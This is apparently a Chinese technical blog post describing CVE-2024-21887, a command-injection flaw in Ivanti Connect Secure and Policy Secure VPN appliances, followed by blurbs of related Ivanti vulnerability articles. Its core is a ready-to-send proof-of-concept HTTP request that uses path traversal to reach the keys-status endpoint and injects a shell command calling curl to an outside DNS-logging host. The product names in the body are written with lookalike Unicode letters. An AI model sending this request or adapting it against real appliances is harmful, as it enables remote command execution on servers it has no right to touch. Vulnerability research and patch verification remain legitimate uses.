CVE-2024-21887）Ivanti 远程命令注入漏洞

最新推荐文章于 2025-05-16 17:56:19 发布
原创 最新推荐文章于 2025-05-16 17:56:19 发布 · 1.1k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#信息安全

本文详细介绍了CVE-2024-21887，这是一个影响Ivanti Connect Secure和Policy Secure Web组件的远程命令注入漏洞。经过认证的管理员可以利用此漏洞执行任意命令。受影响的版本包括9.x和22.x。同时，文中提供了一个PoC示例，展示了如何构造请求触发该漏洞。

CVE-2024-21887）Ivanti 远程命令注入漏洞

一、漏洞简介

Ivаｎti Cоnnесt Sесurе（9.х、22.х）和 Ivаnti Pоliсу Sесurе 的 Wеb 组件中存在一个命令注入漏洞，使得经过身份验证的管理员能够发送特别构建的请求并在设备上执行任意命令 。

二、漏洞影响

Ivаｎti Cоnnесt Sесurе v 9.х

Ivаｎti Cоnnесt Sесurе v 22.х

三、漏洞复现

POC

GET /api/v1/totp/user-backup-code/…/…/license/keys-status/%3bcurl%20z5i19y.dnslog.cn HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

Ivanti Connect Secure SSRF to RCE漏洞复现(CVE-2024-21893)
iSee857的博客
10-12 1592
CVE-2024-21893 是存在 Ivanti Connect Secure SAML 组件中的 SSRF 漏洞，该漏洞主要是由于使用存在漏洞第三方库，并且第三方库没有及时的更新导致的，可以绕过 CVE-2024-21887 命令注入漏洞的补丁，达到未授权 RCE 的目的。是一款企业级远程访问解决方案，提供安全远程访问（VPN）、多因素认证等功能。，包括验证用户、验证设备、控制访问和保护数据。它适用于混合IT时代，支持多种应用场景，如员工远程接入、浏览器访问内网应用、dnslog检测poc。
Ivanti VPN RCE漏洞复现（CVE-2024-21887）
0xSec
01-18 3200
Ivanti Connect Secure (9.x, 22.x) 和Ivanti Policy Secure (9.x, 22.x) 的web组件中存在身份验证绕过漏洞（CVE-2023-46805）和命令注入漏洞（CVE-2024-21887），成功利用该漏洞链允许远程未经认证的攻击者以root权限执行任意操作系统命令，导致服务器失陷。
严重的 Ivanti 漏洞被利用部署 TRAILBLAZE 和 BRUSHFIRE 恶意软件
syg6921008的博客
04-05 1237
除了对CVE-2023-4966进行零日攻击，影响Citrix NetScaler设备之外，UNC5221还利用受感染的Cyber​​​​oam设备、QNAP设备和华硕路由器的干扰网络在入侵操作期间泄露其真实来源，微软上个月初也强调了这一点，详细介绍了Silk Typhoon的最新技巧。该公司表示，它知道“有限数量的客户”的 Connect Secure 和已终止支持的 Pulse Connect Secure 设备遭受了攻击。Silk Typhoon 是微软对这一活动的称呼，我们无法确定其归属。
Ivanti EPMM 未授权远程代码执行漏洞复现(CVE-2025-4428)
最新发布
iSee857的博客
05-16 1043
漏洞是由于Ivanti Endpoint Manager Mobile的API组件未能正确验证输入的数据而造成的漏洞。攻击者可以利用漏洞绕过身份认证，并通过受影响的API执行任何代码，对系统安全造成严重损害。（CVE-2025-4428）
【复现】Ivanti Connect Secure命令注入漏洞(CVE-2024-21887)_33
fushuang333的博客
01-30 4979
【复现】Ivanti Connect Secure命令注入漏洞(CVE-2024-21887)，该漏洞允许经过身份验证的管理员在设备上发送特制请求并执行任意命令。
Ivanti VPN 零日漏洞正在被黑客利用，从零基础到精通，收藏这篇就够了！
yy1715713348的博客
01-13 1569
Ivanti 公开披露了影响 Connect Secure (ICS) VPN 设备的两个关键漏洞：CVE-2025-0282 和 CVE-2025-0283。网络安全公司 Mandiant 的报告称，CVE-2025-0282 零日漏洞利用活动开始于 2024 年 12 月中旬。这一漏洞的利用引发了人们对潜在网络漏洞以及受影响组织后续损害的担忧。比较而言，CVE-2025-0282 是两个漏洞中更为严重的一个，被描述为未经身份验证的基于栈的缓冲区溢出漏洞。
Goby 漏洞发布｜Ivanti Connect Secure 和 Policy Secure keys-status 远程命令执行漏洞（CVE-2023-46805/CVE-2024-21887）
m0_46699477的博客
01-18 1364
Ivanti 是一家软件和信息技术服务公司，专注于提供用于 IT 管理、安全、服务管理和终端管理等方面的解决方案。Ivanti Connect Secure 和 Ivanti Policy Secure 是 Ivanti 公司提供的两个安全性解决方案的组成部分，主要用于网络安全和连接性管理。
【漏洞复现】Ivanti Pulse Connect Secure VPN存在XXE漏洞（CVE-2024-22024、CNNVD-202402-953）
m0_71944965的博客
12-19 648
Ivanti Connect Secure和Ivanti Policy Secure存在代码问题漏洞，该漏洞源于存在XML外部实体注入漏洞，允许攻击者在不知情的情况下访问某些受限资源。
IvantiCloudServiceAppliance 组合漏洞利用（CVE-2024-8963、CVE-2024-8190）
iSee857的博客
12-18 806
CVE-2024-8963为路径遍历，未经身份验证的远程威胁者可利用该漏洞访问受限功能，获取敏感信息。CVE-2024-8190为命令注入，由于解析HTTP请求时对TIMEZONE请求参数缺乏适当的输入验证和清理，导致恶意输入可以被exec()函数执行，从而导致命令注入，经过身份验证且拥有管理员权限的威胁者可利用该漏洞远程执行任意命令
漏洞复现-Ivanti Sentry 身份验证绕过漏洞 CVE-2023-38035
玄道的网安博客
08-12 1357
Ivanti MobileIron Sentry 9.18.0 及更低版本中的 MICS 管理门户中存在安全漏洞，由于 Apache HTTPD 配置限制不足，该漏洞可能允许攻击者绕过管理界面上的身份验证控制。我们看看前面的remoting-servlet.xml，发现该服务引用了一个名为SentryMicsHessianServiceExporter的类，它是一种二进制/XML RPC。是一家IT软件公司，它生产用于IT安全，IT服务管理，IT资产管理，统一端点管理，身份管理和供应链管理的软件。
Ivanti 修复Endpoint Management 软件中的严重RCE漏洞
smellycat000的专栏
09-11 812
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士Ivanti 修复了位于 Endpoint Management (EPM) 软件中的一个CVSS 满分漏洞，可导致未认证攻击者在核心服务器上获得远程代码执行权限。Ivanti EPM 帮助管理员管理运行多种平台如 Windows、macOS、Chrome OS 和 IoT 操作系统的客户端设备。该漏洞CVE-2024-29847是因代理门户中不...
Ivanti 修复Endpoint Manager 中的严重RCE漏洞
smellycat000的专栏
05-24 1000
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士本周二，Ivanti 公司修复了位于 Endpoint Manager (EPM) 中的多个严重漏洞，在某些情况下可用于实现远程代码执行。Ivanti 本次共修复10个漏洞，其中6个即编号为从CVE-2024-29822到CVE-2024-29827（CVSS评分9.6）的漏洞与SQL注入有关，可导致位于同一个网络中的未认证攻击者执行任意代码。余...
CISA：这个严重的 Ivanti vTM 漏洞已遭利用
smellycat000的专栏
09-25 657
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士美国网络安全和基础设施局 (CISA) 周二将影响 Ivanti Virtual Traffic Manager (vTM) 的一个严重漏洞纳入必修清单 (KEV)。该漏洞是CVE-2024-7593，CVSS评分9.8，可被远程未认证攻击者绕过管理面板认证并创建恶意管理员用户。CISA提到，“Ivanti Virtual Traffic Man...
CISA 和 Ivanti： Cloud Services Appliance 高危漏洞已遭利用
smellycat000的专栏
09-14 749
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士CISA 紧急提醒称，Ivanti Cloud Services Appliance (CSA) 中存在一个高危漏洞 (CVE-2024-8190) 且正遭活跃利用。该漏洞被归类为OS命令注入漏洞，可导致具有管理员权限的攻击者实施远程代码执行。Ivanti CSA 是安全远程访问基础设施中的一个关键组件。CVE-2024-8190可导致以管理员权...
【成功复现】Ivanti MobileIron Sentry 身份验证绕过漏洞(CVE-2023-38035)
wuli1024的博客
01-19 3980
MobileIron Sentry是美国思可信（MobileIron）公司的一款智能网关产品。
Ivanti Connect Secure 堆栈溢出致远程代码执行漏洞复现（CVE-2025-0282）（附脚本）
iSee857的博客
01-17 1700
Ivanti Connect Secure VPN 网关处理特定协议时，对传入的某些字段缺乏正确的长度校验，错误地将输入字符串长度作为拷贝限制参数，导致了堆栈溢出风险。当攻击者向设备发送超长字符串时，溢出的数据将覆盖其他栈上变量及返回地址，从而实现远程代码执行。
CVE-2024-50379漏洞复现
qq_61972142的博客
01-03 6819
CVE-2024-50379：Apache Tomcat 条件竞争文件上传漏洞 Apache Tomcat作为一款开源的servlet容器，在全球范围内被大量的企业以及开发者所使用，用来搭建各类的web应用，其安全性也极其的重要； 目录 1、漏洞介绍 2、漏洞影响的版本范围 3、漏洞复现环境搭建 4、复现过程 5、漏洞修复建议 1、漏洞介绍 Apache Tomcat存在着TOCTOU竞争条件的远程代码执行漏洞，该漏洞是因为Apache Tomcat在编译解析jsp期
CVE-2024-23692：Rejetto HFS 2.x 远程代码执行漏洞[附POC]
薛定谔嘚喵博客
06-14 2741
Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件，它允许用户在本地计算机上快速搭建一个文件共享服务。2024年6月，互联网上披露其 2.x系列 存在CVE-2024-23692 远程代码执行漏洞，该漏洞源于存在模板注入漏洞，允许远程未经身份验证的攻击者通过发送特制的HTTP请求在受影响的系统上执行任意命令。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值